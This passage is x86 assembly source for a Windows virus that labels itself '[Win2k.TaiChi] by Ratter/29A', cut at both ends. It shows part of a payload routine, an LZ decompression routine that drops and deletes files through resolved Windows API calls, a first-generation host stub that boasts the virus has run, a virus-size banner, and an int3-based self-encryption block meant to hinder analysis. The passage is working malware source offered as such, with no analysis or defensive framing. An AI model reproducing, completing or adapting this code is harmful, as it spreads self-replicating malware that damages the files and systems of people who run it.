@SEH_RemoveFrame popad leave retn taichi_payload_ endp ; in: ecx - lz_decompress_structure lz_decompress proc near local of_struc:OFSTRUCT pushad @SEH_SetupFrame mov esi, ecx add ecx, 6 xor eax, eax push eax push eax push CREATE_ALWAYS push eax push eax push GENERIC_WRITE or GENERIC_READ push ecx call dword ptr [ebx+tCreateFileA] inc eax stc jz lz_decompress_end dec eax xchg eax, edi movzx edx, word ptr [esi+4] push 0 @pushvar
add edx, esi push dword ptr [esi] push edx push edi call dword ptr [ebx+tWriteFile] push eax push edi call dword ptr [ebx+tCloseHandle] pop ecx stc jecxz lz_decompress_delete lea eax, [esi+6] push OF_READ lea edx, [of_struc] push edx push eax call dword ptr [ebx+tLZOpenFileA] or eax, eax stc js lz_decompress_delete xchg eax, edi push esi lea esi, [esi+6] @endsz push OF_WRITE or OF_CREATE lea edx, [of_struc] push edx push esi call dword ptr [ebx+tLZOpenFileA] or eax, eax stc pushfd js lz_decompress_close_dst popfd xchg eax, esi push esi push edi call dword ptr [ebx+tLZCopy] or eax, eax sets ah sahf pushfd push esi call dword ptr [ebx+tLZClose] lz_decompress_close_dst: push edi call dword ptr [ebx+tLZClose] popfd pop esi lz_decompress_delete: pushfd lea eax, [esi+6] push eax call dword ptr [ebx+tDeleteFileA] popfd lz_decompress_end: lahf @SEH_RemoveFrame sahf popad leave retn lz_decompress endp host_start: push 0 @pushsz "[Win2k.TaiChi] by Ratter/29A" @pushsz "First generation has been runned rite now ... :)" push 0 calle MessageBoxA push 0 calle ExitProcess db 0, "Virus_size: " db "0" + virus_size/10000 mod 10 db "0" + virus_size/1000 mod 10 db "0" + virus_size/100 mod 10 db "0" + virus_size/10 mod 10 db "0" + virus_size/1 mod 10 db " bytez", 0 include debug.inc encryption_try: mov eax, 12345678h start_of_encoded_block: int 3 ; call the decode_routine dw 0 ; displacement dw 0 ; msb - just in work ; (msb -1) - if set decoded; else encoded ; 30-16 bit - thread counter dw 1 ; 16-0 bit - size of encoded block db 0ffh ; xor_value hi: db 0b7h ;dec eax int 3 ; call the encode_routine dw $-start_of_encoded_block-1 mov esp, edx mov dword ptr fs:[edx], esp ; 3 byte garbage push eax call debug_print push dword ptr [hi] call debug_print retn end start_